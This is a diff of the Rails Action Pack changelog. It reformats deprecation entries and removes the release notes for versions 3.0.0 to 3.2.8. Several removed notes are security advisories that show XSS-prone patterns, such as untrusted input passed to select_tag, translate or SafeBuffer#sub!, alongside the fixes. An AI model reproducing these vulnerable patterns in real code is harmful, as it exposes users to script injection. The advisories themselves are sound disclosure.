-* Deprecated ActionController::IntegrationTest in favour of ActionDispatch::IntegrationTest
+* Deprecated `ActionController::IntegrationTest` in favour of `ActionDispatch::IntegrationTest`.
-* Deprecated ActionController::PerformanceTest in favour of ActionDispatch::PerformanceTest
+* Deprecated `ActionController::PerformanceTest` in favour of `ActionDispatch::PerformanceTest`.
-* Deprecated ActionController::AbstractRequest in favour of ActionDispatch::Request
+* Deprecated `ActionController::AbstractRequest` in favour of `ActionDispatch::Request`.
-* Deprecated ActionController::Request in favour of ActionDispatch::Request
+* Deprecated `ActionController::Request` in favour of `ActionDispatch::Request`.
-* Deprecated ActionController::AbstractResponse in favour of ActionDispatch::Response
+* Deprecated `ActionController::AbstractResponse` in favour of `ActionDispatch::Response`.
-* Deprecated ActionController::Response in favour of ActionDispatch::Response
+* Deprecated `ActionController::Response` in favour of `ActionDispatch::Response`.
-* Deprecated ActionController::Routing in favour of ActionDispatch::Routing
+* Deprecated `ActionController::Routing` in favour of `ActionDispatch::Routing`.
-* check_box helper with :disabled => true will generate a disabled hidden field to conform with the HTML convention where disabled fields are not submitted with the form.
- This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
- *Tadas Tamosauskas*
+* `check_box helper` with `:disabled => true` will generate a disabled
+ hidden field to conform with the HTML convention where disabled fields are
+ not submitted with the form. This is a behavior change, previously the hidden
+ tag had a value of the disabled checkbox. *Tadas Tamosauskas*
* `favicon_link_tag` helper will now use the favicon in app/assets by default. *Lucas Caton*
* `ActionView::Helpers::TextHelper#highlight` now defaults to the
HTML5 `mark` element. *Brian Cardarella*
-
-## Rails 3.2.8 (Aug 9, 2012) ##
-
-* There is an XSS vulnerability in the strip_tags helper in Ruby on Rails, the
- helper doesn't correctly handle malformed html. As a result an attacker can
- execute arbitrary javascript through the use of specially crafted malformed
- html.
-
- *Marek from Nethemba (www.nethemba.com) & Santiago Pastorino*
-
-* When a "prompt" value is supplied to the `select_tag` helper, the "prompt" value is not escaped.
- If untrusted data is not escaped, and is supplied as the prompt value, there is a potential for XSS attacks.
- Vulnerable code will look something like this:
- select_tag("name", options, :prompt => UNTRUSTED_INPUT)
-
- *Santiago Pastorino*
-
-* Reverted the deprecation of `:confirm`. *Rafael Mendonça França*
-
-* Reverted the deprecation of `:disable_with`. *Rafael Mendonça França*
-
-* Reverted the deprecation of `:mouseover` option to `image_tag`. *Rafael Mendonça França*
-
-* Reverted the deprecation of `button_to_function` and `link_to_function` helpers.
-
- *Rafael Mendonça França*
-
-
-## Rails 3.2.7 (Jul 26, 2012) ##
-
-* Do not convert digest auth strings to symbols. CVE-2012-3424
-
-* Bump Journey requirements to 1.0.4
-
-* Add support for optional root segments containing slashes
-
-* Fixed bug creating invalid HTML in select options
-
-* Show in log correct wrapped keys
-
-* Fix NumberHelper options wrapping to prevent verbatim blocks being rendered instead of line continuations.
-
-* ActionController::Metal doesn't have logger method, check it and then delegate
-
-* ActionController::Caching depends on RackDelegation and AbstractController::Callbacks
-
-
-## Rails 3.2.6 (Jun 12, 2012) ##
-
-* nil is removed from array parameter values
-
- CVE-2012-2694
-
-* Deprecate `:confirm` in favor of `':data => { :confirm => "Text" }'` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
-
- *Carlos Galdino*
-
-* Allow to use mounted_helpers (helpers for accessing mounted engines) in ActionView::TestCase. *Piotr Sarnacki*
-
-* Include mounted_helpers (helpers for accessing mounted engines) in ActionDispatch::IntegrationTest by default. *Piotr Sarnacki*
-
-
-## Rails 3.2.5 (Jun 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.4 (May 31, 2012) ##
-
-* Deprecate old APIs for highlight, excerpt and word_wrap *Jeremy Walker*
-
-* Deprecate `:disable_with` in favor of `'data-disable-with'` option for `button_to`, `button_tag` and `submit_tag` helpers.
-
- *Carlos Galdino + Rafael Mendonça França*
-
-* Deprecate `:mouseover` option for `image_tag` helper. *Rafael Mendonça França*
-
-* Deprecate `button_to_function` and `link_to_function` helpers. *Rafael Mendonça França*
-
-* Don't break Haml with textarea newline fix. GH #393, #4000, #5190, #5191
-
-* Fix options handling on labels. GH #2492, #5614
-
-* Added config.action_view.embed_authenticity_token_in_remote_forms to deal
- with regression from 16ee611fa
-
-* Set rendered_format when doing render :inline. GH #5632
-
-* Fix the redirect when it receive blocks with arity of 1. Closes #5677
-
-* Strip [nil] from parameters hash. Thanks to Ben Murphy for
- reporting this! CVE-2012-2660
-
-
-## Rails 3.2.3 (March 30, 2012) ##
-
-* Add `config.action_view.embed_authenticity_token_in_remote_forms` (defaults to true) which allows to set if authenticity token will be included by default in remote forms. If you change it to false, you can still force authenticity token by passing `:authenticity_token => true` in form options *Piotr Sarnacki*
-
-* Do not include the authenticity token in forms where remote: true as ajax forms use the meta-tag value *DHH*
-
-* Upgrade rack-cache to 1.2. *José Valim*
-
-* ActionController::SessionManagement is removed. *Santiago Pastorino*
-
-* Since the router holds references to many parts of the system like engines, controllers and the application itself, inspecting the route set can actually be really slow, therefore we default alias inspect to to_s. *José Valim*
-
-* Add a new line after the textarea opening tag. Closes #393 *Rafael Mendonça França*
-
-* Always pass a respond block from to responder. We should let the responder decide what to do with the given overridden response block, and not short circuit it. *Prem Sichanugrist*
-
-* Fixes layout rendering regression from 3.2.2. *José Valim*
-
-
-## Rails 3.2.2 (March 1, 2012) ##
-
-* Format lookup for partials is derived from the format in which the template is being rendered. Closes #5025 part 2 *Santiago Pastorino*
-
-* Use the right format when a partial is missing. Closes #5025. *Santiago Pastorino*
-
-* Default responder will now always use your overridden block in `respond_with` to render your response. *Prem Sichanugrist*
-
-* check_box helper with :disabled => true will generate a disabled hidden field to conform with the HTML convention where disabled fields are not submitted with the form.
- This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
- *Tadas Tamosauskas*
-
-
-## Rails 3.2.1 (January 26, 2012) ##
-
-* Documentation improvements.
-
-* Allow `form.select` to accept ranges (regression). *Jeremy Walker*
-
-* `datetime_select` works with -/+ infinity dates. *Joe Van Dyk*
-
-
-## Rails 3.2.0 (January 20, 2012) ##
-
-* Add `config.action_dispatch.default_charset` to configure default charset for ActionDispatch::Response. *Carlos Antonio da Silva*
-
-* Deprecate setting default charset at controller level, use the new `config.action_dispatch.default_charset` instead. *Carlos Antonio da Silva*
-
-* Deprecate ActionController::UnknownAction in favour of AbstractController::ActionNotFound. *Carlos Antonio da Silva*
-
-* Deprecate ActionController::DoubleRenderError in favour of AbstractController::DoubleRenderError. *Carlos Antonio da Silva*
-
-* Deprecate method_missing handling for not found actions, use action_missing instead. *Carlos Antonio da Silva*
-
-* Deprecate ActionController#rescue_action, ActionController#initialize_template_class, and ActionController#assign_shortcuts.
- These methods were not being used internally anymore and are going to be removed in Rails 4. *Carlos Antonio da Silva*
-
-* Use a BodyProxy instead of including a Module that responds to
- close. Closes #4441 if Active Record is disabled assets are delivered
- correctly *Santiago Pastorino*
-
-* Rails initialization with initialize_on_precompile = false should set assets_dir *Santiago Pastorino*
-
-* Add font_path helper method *Santiago Pastorino*
-
-* Depends on rack ~> 1.4.0 *Santiago Pastorino*
-
-* Add :gzip option to `caches_page`. The default option can be configured globally using `page_cache_compression` *Andrey Sitnik*
-
-* The ShowExceptions middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the PATH_INFO rewritten to the status code. *José Valim*
-
-* Add `button_tag` support to ActionView::Helpers::FormBuilder.
-
- This support mimics the default behavior of `submit_tag`.
-
- Example:
-
- <%= form_for @post do |f| %>
- <%= f.button %>
- <% end %>
-
-* Date helpers accept a new option, `:use_two_digit_numbers = true`, that renders select boxes for months and days with a leading zero without changing the respective values.
- For example, this is useful for displaying ISO8601-style dates such as '2011-08-01'. *Lennart Fridén and Kim Persson*
-
-* Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be *DHH*
-
-* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
-
- class ApplicationController
- layout "application"
- end
-
- class PostsController < ApplicationController
- end
-
- In the example above, Posts controller will no longer automatically look up for a posts layout.
-
- If you need this functionality you could either remove `layout "application"` from ApplicationController or explicitly set it to nil in PostsController. *José Valim*
-
-* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail. *Prem Sichanugrist*
-
- For example, consider this snippet:
-
- class CarsController
- layout 'single_car', :only => :show
- end
-
- Rails will use 'layouts/single_car' when a request comes in `:show` action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
-
-* form_for with +:as+ option uses "#{action}_#{as}" as css class and id:
-
- Before:
-
- form_for(@user, :as => 'client') # => "<form class="client_new">..."
-
- Now:
-
- form_for(@user, :as => 'client') # => "<form class="new_client">..."
-
- *Vasiliy Ermolovich*
-
-* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. Please look at ActiveRecord::Railtie for an example *José Valim*
-
-* Allow fresh_when/stale? to take a record instead of an options hash *DHH*
-
-* Assets should use the request protocol by default or default to relative if no request is available *Jonathan del Strother*
-
-* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts *José Valim*
-
-* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements.
- The namespace attribute will be prefixed with underscore on the generate HTML id. *Vasiliy Ermolovich*
-
- Example:
-
- <%= form_for(@offer, :namespace => 'namespace') do |f| %>
- <%= f.label :version, 'Version' %>:
- <%= f.text_field :version %>
- <% end %>
-
-* Refactor ActionDispatch::ShowExceptions. The controller is responsible for choosing to show exceptions when `consider_all_requests_local` is false.
-
- It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors. The default value is now false, meaning local requests in production will no longer show the detailed exceptions page unless `show_detailed_exceptions?` is overridden and set to `request.local?`.
-
-* Responders now return 204 No Content for API requests without a response body (as in the new scaffold) *José Valim*
-
-* Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog *DHH*
-
-* Limit the number of options for select_year to 1000.
-
- Pass the :max_years_allowed option to set your own limit.
-
- *Libo Cannici*
-
-* Passing formats or handlers to render :template and friends is deprecated. For example: *Nick Sutterer & José Valim*
-
- render :template => "foo.html.erb"
-
- Instead, you can provide :handlers and :formats directly as option:
- render :template => "foo", :formats => [:html, :js], :handlers => :erb
-
-* Changed log level of warning for missing CSRF token from :debug to :warn. *Mike Dillon*
-
-* content_tag_for and div_for can now take the collection of records. It will also yield the record as the first argument if you set a receiving argument in your block *Prem Sichanugrist*
-
- So instead of having to do this:
-
- @items.each do |item|
- content_tag_for(:li, item) do
- Title: <%= item.title %>
- end
- end
-
- You can now do this:
-
- content_tag_for(:li, @items) do |item|
- Title: <%= item.title %>
- end
-
-* send_file now guess the mime type *Esad Hajdarevic*
-
-* Mime type entries for PDF, ZIP and other formats were added *Esad Hajdarevic*
-
-* Generate hidden input before select with :multiple option set to true.
- This is useful when you rely on the fact that when no options is set,
- the state of select will be sent to rails application. Without hidden field
- nothing is sent according to HTML spec *Bogdan Gusiev*
-
-* Refactor ActionController::TestCase cookies *Andrew White*
-
- Assigning cookies for test cases should now use cookies[], e.g:
-
- cookies[:email] = 'user@example.com'
- get :index
- assert_equal 'user@example.com', cookies[:email]
-
- To clear the cookies, use clear, e.g:
-
- cookies.clear
- get :index
- assert_nil cookies[:email]
-
- We now no longer write out HTTP_COOKIE and the cookie jar is
- persistent between requests so if you need to manipulate the environment
- for your test you need to do it before the cookie jar is created.
-
-* ActionController::ParamsWrapper on ActiveRecord models now only wrap
- attr_accessible attributes if they were set, if not, only the attributes
- returned by the class method attribute_names will be wrapped. This fixes
- the wrapping of nested attributes by adding them to attr_accessible.
-
-
-## Rails 3.1.4 (March 1, 2012) ##
-
-* Skip assets group in Gemfile and all assets configurations options
- when the application is generated with --skip-sprockets option.
-
- *Guillermo Iguaran*
-
-* Use ProcessedAsset#pathname in Sprockets helpers when debugging is on. Closes #3333 #3348 #3361.
-
- *Guillermo Iguaran*
-
-* Allow to use asset_path on named_routes aliasing RailsHelper's
- asset_path to path_to_asset *Adrian Pike*
-
-* Assets should use the request protocol by default or default to relative if no request is available *Jonathan del Strother*
-
-
-## Rails 3.1.3 (November 20, 2011) ##
-
-* Downgrade sprockets to ~> 2.0.3. Using 2.1.0 caused regressions.
-
-* Fix using `translate` helper with a html translation which uses the `:count` option for
- pluralization.
-
- *Jon Leighton*
-
-
-## Rails 3.1.2 (November 18, 2011) ##
-
-* Fix XSS security vulnerability in the `translate` helper method. When using interpolation
- in combination with HTML-safe translations, the interpolated input would not get HTML
- escaped. *GH 3664*
-
- Before:
-
- translate('foo_html', :something => '<script>') # => "...<script>..."
-
- After:
-
- translate('foo_html', :something => '<script>') # => "...&lt;script&gt;..."
-
- *Sergey Nartimov*
-
-* Upgrade sprockets dependency to ~> 2.1.0
-
-* Ensure that the format isn't applied twice to the cache key, else it becomes impossible
- to target with expire_action.
-
- *Christopher Meiklejohn*
-
-* Swallow error when can't unmarshall object from session.
-
- *Bruno Zanchet*
-
-* Implement a workaround for a bug in ruby-1.9.3p0 where an error would be raised
- while attempting to convert a template from one encoding to another.
-
- Please see http://redmine.ruby-lang.org/issues/5564 for details of the bug.
-
- The workaround is to load all conversions into memory ahead of time, and will
- only happen if the ruby version is *exactly* 1.9.3p0. The hope is obviously that
- the underlying problem will be resolved in the next patchlevel release of
- 1.9.3.
-
- *Jon Leighton*
-
-* Ensure users upgrading from 3.0.x to 3.1.x will properly upgrade their flash object in session (issues #3298 and #2509)
-
-
-## Rails 3.1.1 (October 07, 2011) ##
-
-* javascript_path and stylesheet_path now refer to /assets if asset pipelining
- is on. *Santiago Pastorino*
-
-* button_to support form option. Now you're able to pass for example
- 'data-type' => 'json'. *ihower*
-
-* image_path and image_tag should use /assets if asset pipelining is turned
- on. Closes #3126 *Santiago Pastorino and christos*
-
-* Avoid use of existing precompiled assets during rake assets:precompile run.
- Closes #3119 *Guillermo Iguaran*
-
-* Copy assets to nondigested filenames too *Santiago Pastorino*
-
-* Give precedence to `config.digest = false` over the existence of
- manifest.yml asset digests *christos*
-
-* escape options for the stylesheet_link_tag method *Alexey Vakhov*
-
-* Re-launch assets:precompile task using (Rake.)ruby instead of Kernel.exec so
- it works on Windows *cablegram*
-
-* env var passed to process shouldn't be modified in process method. *Santiago
- Pastorino*
-
-* `rake assets:precompile` loads the application but does not initialize
- it.
- To the app developer, this means configuration add in
- config/initializers/* will not be executed.
- Plugins developers need to special case their initializers that are
- meant to be run in the assets group by adding :group => :assets. *José Valim*
-
-* Sprockets uses config.assets.prefix for asset_path *asee*
-
-* FileStore key_file_path properly limit filenames to 255 characters. *phuibonhoa*
-
-* Fix Hash#to_query edge case with html_safe strings. *brainopia*
-
-* Allow asset tag helper methods to accept :digest => false option in order to completely avoid the digest generation.
- Useful for linking assets from static html files or from emails when the user could probably look at an older html email with an older asset. *Santiago Pastorino*
-
-* Don't mount Sprockets server at config.assets.prefix if config.assets.compile is false. *Mark J. Titorenko*
-
-* Set relative url root in assets when controller isn't available for Sprockets (eg. Sass files using asset_path). Fixes #2435 *Guillermo Iguaran*
-
-* Fix basic auth credential generation to not make newlines. GH #2882
-
-* Fixed the behavior of asset pipeline when config.assets.digest and config.assets.compile are false and requested asset isn't precompiled.
- Before the requested asset were compiled anyway ignoring that the config.assets.compile flag is false. *Guillermo Iguaran*
-
-* CookieJar is now Enumerable. Fixes #2795
-
-* Fixed AssetNotPrecompiled error raised when rake assets:precompile is compiling certain .erb files. See GH #2763 #2765 #2805 *Guillermo Iguaran*
-
-* Manifest is correctly placed in assets path when default assets prefix is changed. Fixes #2776 *Guillermo Iguaran*
-
-* Fixed stylesheet_link_tag and javascript_include_tag to respect additional options passed by the users when debug is on. *Guillermo Iguaran*
-
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-* Param values are `paramified` in controller tests. *David Chelimsky*
-
-* x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set a particular value for it. This allows servers to set it through X-Sendfile-Type. *Santiago Pastorino*
-
-* The submit form helper does not generate an id "object_name_id" anymore. *fbrusatti*
-
-* Make sure respond_with with :js tries to render a template in all cases *José Valim*
-
-* json_escape will now return a SafeBuffer string if it receives SafeBuffer string *tenderlove*
-
-* Make sure escape_js returns SafeBuffer string if it receives SafeBuffer string *Prem Sichanugrist*
-
-* Fix escape_js to work correctly with the new SafeBuffer restriction *Paul Gallagher*
-
-* Brought back alternative convention for namespaced models in i18n *thoefer*
-
- Now the key can be either "namespace.model" or "namespace/model" until further deprecation.
-
-* It is prohibited to perform a in-place SafeBuffer mutation *tenderlove*
-
- The old behavior of SafeBuffer allowed you to mutate string in place via
- method like `sub!`. These methods can add unsafe strings to a safe buffer,
- and the safe buffer will continue to be marked as safe.
-
- An example problem would be something like this:
-
- <%= link_to('hello world', @user).sub!(/hello/, params[:xss]) %>
-
- In the above example, an untrusted string (`params[:xss]`) is added to the
- safe buffer returned by `link_to`, and the untrusted content is successfully
- sent to the client without being escaped. To prevent this from happening
- `sub!` and other similar methods will now raise an exception when they are called on a safe buffer.
-
- In addition to the in-place versions, some of the versions of these methods which return a copy of the string will incorrectly mark strings as safe. For example:
-
- <%= link_to('hello world', @user).sub(/hello/, params[:xss]) %>
-
- The new versions will now ensure that *all* strings returned by these methods on safe buffers are marked unsafe.
-
- You can read more about this change in http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2e516e7acc96c4fb
-
-* Warn if we cannot verify CSRF token authenticity *José Valim*
-
-* Allow AM/PM format in datetime selectors *Aditya Sanghi*
-
-* Only show dump of regular env methods on exception screen (not all the rack crap) *DHH*
-
-* auto_link has been removed with no replacement. If you still use auto_link
- please install the rails_autolink gem:
- http://github.com/tenderlove/rails_autolink
-
- *tenderlove*
-
-* Added streaming support, you can enable it with: *José Valim*
-
- class PostsController < ActionController::Base
- stream :only => :index
- end
-
- Please read the docs at `ActionController::Streaming` for more information.
-
-* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers and only consider the format given as parameter *José Valim*
-
-* Created `ActionView::Renderer` and specified an API for `ActionView::Context`, check those objects for more information *José Valim*
-
-* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default *Prem Sichanugrist*
-
- This can be customized by setting `ActionController::Base.wrap_parameters` in `config/initializer/wrap_parameters.rb`
-
-* RJS has been extracted out to a gem. *fxn*
-
-* Implicit actions named not_implemented can be rendered. *Santiago Pastorino*
-
-* Wildcard route will always match the optional format segment by default. *Prem Sichanugrist*
-
- For example if you have this route:
-
- match '*pages' => 'pages#show'
-
- by requesting '/foo/bar.json', your `params[:pages]` will be equals to "foo/bar" with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this:
-
- match '*pages' => 'pages#show', :format => false
-
-* Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call *DHH*
-
- class PostsController < ApplicationController
- USER_NAME, PASSWORD = "dhh", "secret"
-
- before_filter :authenticate, :except => [ :index ]
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
-
- private
- def authenticate
- authenticate_or_request_with_http_basic do |user_name, password|
- user_name == USER_NAME && password == PASSWORD
- end
- end
- end
-
- ..can now be written as
-
- class PostsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
- end
-
-* Allow you to add `force_ssl` into controller to force browser to transfer data via HTTPS protocol on that particular controller. You can also specify `:only` or `:except` to specific it to particular action. *DHH and Prem Sichanugrist*
-
-* Allow FormHelper#form_for to specify the :method as a direct option instead of through the :html hash *DHH*
-
- form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete })
-
-* Make JavaScriptHelper#j() an alias for JavaScriptHelper#escape_javascript() -- note this then supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper *DHH*
-
-* Sensitive query string parameters (specified in config.filter_parameters) will now be filtered out from the request paths in the log file. *Prem Sichanugrist, fxn*
-
-* URL parameters which return false for to_param now appear in the query string (previously they were removed) *Andrew White*
-
-* URL parameters which return nil for to_param are now removed from the query string *Andrew White*
-
-* ActionDispatch::MiddlewareStack now uses composition over inheritance. It is
- no longer an array which means there may be methods missing that were not tested.
-
-* Add an :authenticity_token option to form_tag for custom handling or to omit the token (pass :authenticity_token => false). *Jakub Kuźma, Igor Wiedler*
-
-* HTML5 button_tag helper. *Rizwan Reza*
-
-* Template lookup now searches further up in the inheritance chain. *Artemave*
-
-* Brought back config.action_view.cache_template_loading, which allows to decide whether templates should be cached or not. *Piotr Sarnacki*
-
-* url_for and named url helpers now accept :subdomain and :domain as options, *Josh Kalderimis*
-
-* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused (check the documentation for examples). *Josh Kalderimis*
-
-* Added config.action_controller.include_all_helpers. By default 'helper :all' is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and helper corresponding to controller (like foo_helper for foo_controller). *Piotr Sarnacki*
-
-* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:
-
- tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
- # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
-
- Keys are dasherized. Values are JSON-encoded, except for strings and symbols. *Stephen Celis*
-
-* Deprecate old template handler API. The new API simply requires a template handler to respond to call. *José Valim*
-
-* :rhtml and :rxml were finally removed as template handlers. *José Valim*
-
-* Moved etag responsibility from ActionDispatch::Response to the middleware stack. *José Valim*
-
-* Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept 4 arguments and requires #destroy_session instead of simply #destroy. *José Valim*
-
-* file_field automatically adds :multipart => true to the enclosing form. *Santiago Pastorino*
-
-* Renames csrf_meta_tag -> csrf_meta_tags, and aliases csrf_meta_tag for backwards compatibility. *fxn*
-
-* Add Rack::Cache to the default stack. Create a Rails store that delegates to the Rails cache, so by default, whatever caching layer you are using will be used for HTTP caching. Note that Rack::Cache will be used if you use #expires_in, #fresh_when or #stale with :public => true. Otherwise, the caching rules will apply to the browser only. *Yehuda Katz, Carl Lerche*
-
-
-## Rails 3.0.12 (March 1, 2012) ##
-
-* Fix using `tranlate` helper with a html translation which uses the `:count` option for
- pluralization.
-
- *Jon Leighton*
-
-
-## Rails 3.0.11 (November 18, 2011) ##
-
-* Fix XSS security vulnerability in the `translate` helper method. When using interpolation
- in combination with HTML-safe translations, the interpolated input would not get HTML
- escaped. *GH 3664*
-
- Before:
-
- translate('foo_html', :something => '<script>') # => "...<script>..."
-
- After:
-
- translate('foo_html', :something => '<script>') # => "...&lt;script&gt;..."
-
- *Sergey Nartimov*
-
-* Implement a workaround for a bug in ruby-1.9.3p0 where an error would be
- raised while attempting to convert a template from one encoding to another.
-
- Please see http://redmine.ruby-lang.org/issues/5564 for details of the bug.
-
- The workaround is to load all conversions into memory ahead of time, and will
- only happen if the ruby version is exactly 1.9.3p0. The hope is obviously
- that the underlying problem will be resolved in the next patchlevel release
- of 1.9.3.
-
-* Fix assert_select_email to work on multipart and non-multipart emails as the method stopped working correctly in Rails 3.x due to changes in the new mail gem.
-
-* Fix url_for when passed a hash to prevent additional options (eg. :host, :protocol) from being added to the hash after calling it.
-
-
-## Rails 3.0.10 (August 16, 2011) ##
-
-* Fixes an issue where cache sweepers with only after filters would have no
- controller object, it would raise undefined method controller_name for nil [jeroenj]
-
-* Ensure status codes are logged when exceptions are raised.
-
-* Subclasses of OutputBuffer are respected.
-
-* Fixed ActionView::FormOptionsHelper#select with :multiple => false
-
-* Avoid extra call to Cache#read in case of a fragment cache hit
-
-
-## Rails 3.0.9 (June 16, 2011) ##
-
-* json_escape will now return a SafeBuffer string if it receives SafeBuffer string [tenderlove]
-
-* Make sure escape_js returns SafeBuffer string if it receives SafeBuffer string [Prem Sichanugrist]
-
-* Fix text helpers to work correctly with the new SafeBuffer restriction [Paul Gallagher, Arun Agrawal, Prem Sichanugrist]
-
-
-## Rails 3.0.8 (June 7, 2011) ##
-
-* It is prohibited to perform a in-place SafeBuffer mutation [tenderlove]
-
- The old behavior of SafeBuffer allowed you to mutate string in place via
- method like `sub!`. These methods can add unsafe strings to a safe buffer,
- and the safe buffer will continue to be marked as safe.
-
- An example problem would be something like this:
-
- <%= link_to('hello world', @user).sub!(/hello/, params[:xss]) %>
-
- In the above example, an untrusted string (`params[:xss]`) is added to the
- safe buffer returned by `link_to`, and the untrusted content is successfully
- sent to the client without being escaped. To prevent this from happening
- `sub!` and other similar methods will now raise an exception when they are called on a safe buffer.
-
- In addition to the in-place versions, some of the versions of these methods which return a copy of the string will incorrectly mark strings as safe. For example:
-
- <%= link_to('hello world', @user).sub(/hello/, params[:xss]) %>
-
- The new versions will now ensure that *all* strings returned by these methods on safe buffers are marked unsafe.
-
- You can read more about this change in http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2e516e7acc96c4fb
-
-* Fixed github issue #342 with asset paths and relative roots.
-
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.6 (April 5, 2011) ##
-
-* Fixed XSS vulnerability in `auto_link`. `auto_link` no longer marks input as
- html safe. Please make sure that calls to auto_link() are wrapped in a
- sanitize(), or a raw() depending on the type of input passed to auto_link().
- For example:
-
- <%= sanitize(auto_link(some_user_input)) %>
-
- Thanks to Torben Schulz for reporting this. The fix can be found here:
- 61ee3449674c591747db95f9b3472c5c3bd9e84d
-
-* Fixes the output of `rake routes` to be correctly match to the behavior of the application, as the regular expression used to match the path is greedy and won't capture the format part by default *Prem Sichanugrist*
-
-* Fixes an issue with number_to_human when converting values which are less than 1 but greater than -1 *Josh Kalderimis*
-
-* Sensitive query string parameters (specified in config.filter_parameters) will now be filtered out from the request paths in the log file. *Prem Sichanugrist, fxn*
-
-* URL parameters which return nil for to_param are now removed from the query string *Andrew White*
-
-* Don't allow i18n to change the minor version, version now set to ~> 0.5.0 *Santiago Pastorino*
-
-* Make TranslationHelper#translate use the :rescue_format option in I18n 0.5.0 *Sven Fuchs*
-
-* Fix regression: javascript_include_tag shouldn't raise if you register an expansion key with nil or [] value *Santiago Pastorino*
-
-* Fix Action caching bug where an action that has a non-cacheable response always renders a nil response body. It now correctly renders the response body. *Cheah Chu Yeow*
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-* When ActiveRecord::Base objects are sent to predicate methods, the id of the object should be sent to ARel, not the ActiveRecord::Base object.
-
-* :constraints routing should only do sanity checks against regular expressions. String arguments are OK.
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-* The helper number_to_currency accepts a new :negative_format option to be able to configure how to render negative amounts. *Don Wilson*
-
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-* No Changes, just a version bump.
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-* password_field renders with nil value by default making the use of passwords secure by default, if you want to render you should do for instance f.password_field(:password, :value => @user.password) *Santiago Pastorino*
-
-* Symbols and strings in routes should yield the same behavior. Note this may break existing apps that were using symbols with the new routes API. *José Valim*
-
-* Add clear_helpers as a way to clean up all helpers added to this controller, maintaining just the helper with the same name as the controller. *José Valim*
-
-* Support routing constraints in functional tests. *Andrew White*
-
-* Add a header that tells Internet Explorer (all versions) to use the best available standards support. *Yehuda Katz*
-
-* Allow stylesheet/javascript extensions to be changed through railties. *Josh Kalderimis*
-
-* link_to, button_to, and tag/tag_options now rely on html_escape instead of escape_once. *fxn*
-
-* url_for returns always unescaped strings, and the :escape option is gone. *fxn*
-
-* Added accept-charset parameter and _snowman hidden field to force the contents
- of Rails POSTed forms to be in UTF-8 *Yehuda Katz*
-
-* Upgrade to Rack 1.2.1 *Jeremy Kemper*
-
-* Allow :path to be given to match/get/post/put/delete instead of :path_names in the new router *Carlos Antônio da Silva*
-
-* Added resources_path_names to the new router DSL *José Valim*
-
-* Allow options to be given to the namespace method in the new router *Carlos Antônio da Silva*
-
-* Deprecate :name_prefix in the new router DSL *José Valim*
-
-* Add shallow routes back to the new router *Diego Carrion, Andrew White*
-
- resources :posts do
- shallow do
- resources :comments
- end
- end
-
- You can now use comment_path for /comments/1 instead of post_comment_path for /posts/1/comments/1.
-
-* Add support for multi-subdomain session by setting cookie host in session cookie so you can share session between www.example.com, example.com and user.example.com. #4818 *Guillermo Álvarez*
-
-* Removed textilize, textilize_without_paragraph and markdown helpers. *Santiago Pastorino*
-
-* Remove middleware laziness *José Valim*
-
-* Make session stores rely on request.cookie_jar and change set_session semantics to return the cookie value instead of a boolean. *José Valim*
-
-* OAuth 2: HTTP Token Authorization support to complement Basic and Digest Authorization. *Rick Olson*
-
-* Fixed inconsistencies in form builder and view helpers #4432 *Neeraj Singh*
-
-* Both :xml and :json renderers now forwards the given options to the model, allowing you to invoke them as render :xml => @projects, :include => :tasks *José Valim, Yehuda Katz*
-
-* Renamed the field error CSS class from fieldWithErrors to field_with_errors for consistency. *Jeremy Kemper*
-
-* Add support for shorthand routes like /projects/status(.:format) #4423 *Diego Carrion*
-
-* Changed translate helper so that it doesn’t mark every translation as safe HTML. Only keys with a "_html" suffix and keys named "html" are considered to be safe HTML. All other translations are left untouched. *Craig Davey*
-
